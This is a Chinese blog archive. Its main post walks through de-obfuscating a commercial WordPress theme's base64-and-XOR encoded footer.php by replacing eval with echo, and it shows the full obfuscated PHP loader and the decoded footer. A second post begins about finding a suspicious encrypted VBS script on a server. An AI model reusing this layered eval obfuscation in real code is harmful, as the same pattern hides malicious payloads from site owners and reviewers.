奋斗博客 » 解密

破解base64加密的WordPress主题

dev — Tue, 22 Mar 2011 03:07:31 +0000

多数商业WordPress主题都采用base64加密Footer.php文件来保护自己的版权，base64是一种很常见的编码方式，加密算法是公开的，破解的方法也很简单。在之前的《解密被加密的wordpress主题》这篇文章中就介绍过。

一般的用base64加密的WordPress主题文件都有自己的2次加密算法且用base64加密后保存在加密文件中，我们可以直接用base64解密工具将它还原。

对于真正的主题文件加密可能是先用base64加密再用自带的2次加密算法加密，还有有可能是先用2次加密算法加密而后用base64加密。这两篇文章中的例子正好包含了这两种情况。

最近有网友说解密方法太繁琐，不适合新手操作，那今天介绍一个最简单的破解base64加密的Wordpress主题的方法。

先看被加密的的Wordpress主题代码，最好先复制到记事本中

 $o="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";eval(base64_decode("JGxsbD0wO2V2YWwoYmFzZTY0X2RlY29kZSgiSkd4c2JHeHNiR3hzYkd4c1BTZGlZWE5sTmpSZlpHVmpiMlJsSnpzPSIpKTskbGw9MDtldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkd3OUoyOXlaQ2M3IikpOyRsbGxsPTA7JGxsbGxsPTM7ZXZhbCgkbGxsbGxsbGxsbGwoIkpHdzlKR3hzYkd4c2JHeHNiR3hzS0NSdktUcz0iKSk7JGxsbGxsbGw9MDskbGxsbGxsPSgkbGxsbGxsbGxsbCgkbFsxXSk8PDgpKyRsbGxsbGxsbGxsKCRsWzJdKTtldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkd4c2JHdzlKM04wY214bGJpYzciKSk7JGxsbGxsbGxsbD0xNjskbGxsbGxsbGw9IiI7Zm9yKDskbGxsbGw8JGxsbGxsbGxsbGxsbGwoJGwpOyl7aWYoJGxsbGxsbGxsbD09MCl7JGxsbGxsbD0oJGxsbGxsbGxsbGwoJGxbJGxsbGxsKytdKTw8OCk7JGxsbGxsbCs9JGxsbGxsbGxsbGwoJGxbJGxsbGxsKytdKTskbGxsbGxsbGxsPTE2O31pZigkbGxsbGxsJjB4ODAwMCl7JGxsbD0oJGxsbGxsbGxsbGwoJGxbJGxsbGxsKytdKTw8NCk7JGxsbCs9KCRsbGxsbGxsbGxsKCRsWyRsbGxsbF0pPj40KTtpZigkbGxsKXskbGw9KCRsbGxsbGxsbGxsKCRsWyRsbGxsbCsrXSkmMHgwZikrMztmb3IoJGxsbGw9MDskbGxsbDwkbGw7JGxsbGwrKykkbGxsbGxsbGxbJGxsbGxsbGwrJGxsbGxdPSRsbGxsbGxsbFskbGxsbGxsbC0kbGxsKyRsbGxsXTskbGxsbGxsbCs9JGxsO31lbHNleyRsbD0oJGxsbGxsbGxsbGwoJGxbJGxsbGxsKytdKTw8OCk7JGxsKz0kbGxsbGxsbGxsbCgkbFskbGxsbGwrK10pKzE2O2ZvcigkbGxsbD0wOyRsbGxsPCRsbDskbGxsbGxsbGxbJGxsbGxsbGwrJGxsbGwrK109JGxsbGxsbGxsbGwoJGxbJGxsbGxsXSkpOyRsbGxsbCsrOyRsbGxsbGxsKz0kbGw7fX1lbHNlJGxsbGxsbGxsWyRsbGxsbGxsKytdPSRsbGxsbGxsbGxsKCRsWyRsbGxsbCsrXSk7JGxsbGxsbDw8PTE7JGxsbGxsbGxsbC0tO31ldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkd4c2JEMG5ZMmh5SnpzPSIpKTskbGxsbGw9MDtldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkQwaVB5SXVKR3hzYkd4c2JHeHNiR3hzYkNnMk1pazciKSk7JGxsbGxsbGxsbGw9IiI7Zm9yKDskbGxsbGw8JGxsbGxsbGw7KXskbGxsbGxsbGxsbC49JGxsbGxsbGxsbGxsbCgkbGxsbGxsbGxbJGxsbGxsKytdXjB4MDcpO31ldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkM0OUpHeHNiR3hzYkd4c2JHd3VKR3hzYkd4c2JHeHNiR3hzYkNnMk1Da3VJajhpT3c9PSIpKTtldmFsKCRsbGxsbGxsbGwpOw=="));return;?>

可以很明显的看到eval(base64_decode 说明后面使用base64加密的，直接将这里的eval改成echo然后保存上传到你的WordPress空间，当你访问这个文件的时候你会发现文件后面被加密的部分已经还原成明文了。

$lll=0;eval(base64_decode("JGxsbGxsbGxsbGxsPSdiYXNlNjRfZGVjb2RlJzs="));$ll=0;eval($lllllllllll("JGxsbGxsbGxsbGw9J29yZCc7"));$llll=0;$lllll=3;eval($lllllllllll("JGw9JGxsbGxsbGxsbGxsKCRvKTs="));$lllllll=0;$llllll=($llllllllll($l[1])<<8)+$llllllllll($l[2]);eval($lllllllllll("JGxsbGxsbGxsbGxsbGw9J3N0cmxlbic7"));$lllllllll=16;$llllllll="";for(;$lllll<$lllllllllllll($l);){if($lllllllll==0){$llllll=($llllllllll($l[$lllll++])<<8);$llllll+=$llllllllll($l[$lllll++]);$lllllllll=16;}if($llllll&0x8000){$lll=($llllllllll($l[$lllll++])<<4);$lll+=($llllllllll($l[$lllll])>>4);if($lll){$ll=($llllllllll($l[$lllll++])&0x0f)+3;for($llll=0;$llll<$ll;$llll++)$llllllll[$lllllll+$llll]=$llllllll[$lllllll-$lll+$llll];$lllllll+=$ll;}else{$ll=($llllllllll($l[$lllll++])<<8);$ll+=$llllllllll($l[$lllll++])+16;for($llll=0;$llll<$ll;$llllllll[$lllllll+$llll++]=$llllllllll($l[$lllll]));$lllll++;$lllllll+=$ll;}}else$llllllll[$lllllll++]=$llllllllll($l[$lllll++]);$llllll<<=1;$lllllllll--;}eval($lllllllllll("JGxsbGxsbGxsbGxsbD0nY2hyJzs="));$lllll=0;eval($lllllllllll("JGxsbGxsbGxsbD0iPyIuJGxsbGxsbGxsbGxsbCg2Mik7"));$llllllllll="";for(;$lllll<$lllllll;){$llllllllll.=$llllllllllll($llllllll[$lllll++]^0x07);}eval($lllllllllll("JGxsbGxsbGxsbC49JGxsbGxsbGxsbGwuJGxsbGxsbGxsbGxsbCg2MCkuIj8iOw=="));eval($lllllllll);

这就是加密文件的2次加密算法，这里我们没必要继续解出加密算法，文件中eval($lllllllll);这里输出了加密文件的明文，只需要将上面解出的部分和原密文合并再次用echo替换最后一个eval。

 $o="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";$lll=0;eval(base64_decode("JGxsbGxsbGxsbGxsPSdiYXNlNjRfZGVjb2RlJzs="));$ll=0;eval($lllllllllll("JGxsbGxsbGxsbGw9J29yZCc7"));$llll=0;$lllll=3;eval($lllllllllll("JGw9JGxsbGxsbGxsbGxsKCRvKTs="));$lllllll=0;$llllll=($llllllllll($l[1])<<8)+$llllllllll($l[2]);eval($lllllllllll("JGxsbGxsbGxsbGxsbGw9J3N0cmxlbic7"));$lllllllll=16;$llllllll="";for(;$lllll<$lllllllllllll($l);){if($lllllllll==0){$llllll=($llllllllll($l[$lllll++])<<8);$llllll+=$llllllllll($l[$lllll++]);$lllllllll=16;}if($llllll&0x8000){$lll=($llllllllll($l[$lllll++])<<4);$lll+=($llllllllll($l[$lllll])>>4);if($lll){$ll=($llllllllll($l[$lllll++])&0x0f)+3;for($llll=0;$llll<$ll;$llll++)$llllllll[$lllllll+$llll]=$llllllll[$lllllll-$lll+$llll];$lllllll+=$ll;}else{$ll=($llllllllll($l[$lllll++])<<8);$ll+=$llllllllll($l[$lllll++])+16;for($llll=0;$llll<$ll;$llllllll[$lllllll+$llll++]=$llllllllll($l[$lllll]));$lllll++;$lllllll+=$ll;}}else$llllllll[$lllllll++]=$llllllllll($l[$lllll++]);$llllll<<=1;$lllllllll--;}eval($lllllllllll("JGxsbGxsbGxsbGxsbD0nY2hyJzs="));$lllll=0;eval($lllllllllll("JGxsbGxsbGxsbD0iPyIuJGxsbGxsbGxsbGxsbCg2Mik7"));$llllllllll="";for(;$lllll<$lllllll;){$llllllllll.=$llllllllllll($llllllll[$lllll++]^0x07);}eval($lllllllllll("JGxsbGxsbGxsbC49JGxsbGxsbGxsbGwuJGxsbGxsbGxsbGxsbCg2MCkuIj8iOw=="));echo($lllllllll);

再次用浏览器访问查看源代码，解密后的代码就展现在你的眼前了

?>
/**
 * The template for displaying the footer.
 *
 * Contains the closing of the id=main div and all content
 * after.  Calls sidebar-footer.php for bottom widgets.
 *
 * @package WordPress
 * @subpackage Mav
 * @since Nitro 1.0
 */
?>

/* A sidebar in the footer? Yep! You can can customize * your footer with four columns of widgets. */ $footer_wa = mav_get_setting( 'footer_wa' ); if ($footer_wa) { ?>

} else { ?> } ?>

$tracking_code = mav_get_setting( 'tracking_code' ); echo stripslashes($tracking_code); ?> /* Always have wp_footer() just before the closing * tag of your theme, or you will break many plugins, which * generally use this hook to reference JavaScript files. */ wp_footer(); ?>

这种破解方法利用了代码在运行时还原的原理，操作起来很简单。

VBS代码加密解密

dev — Thu, 28 Jan 2010 11:00:15 +0000

今天无意中在公司服务器系统盘根目录下发现了一个可疑的vbs脚本。打开看看发现vbs代码是加密的，这更加证明这个脚本的可疑。

我对vbs代码只能算是了解，能看懂，但是编却编不出来。为了解密这个vbs代码，用搜索引擎搜索了半天，找到好多相关的资料，发现原来vbs如此强大。以这篇文章收集vbs代码供以后学习。

简单介绍一下什么是vbs。VBScript是Visual Basic Script的简称，有时也被缩写为VBS。VBScript是微软开发的一种脚本语言，可以看作是VB语言的简化版，与VBA的关系也非常密切。

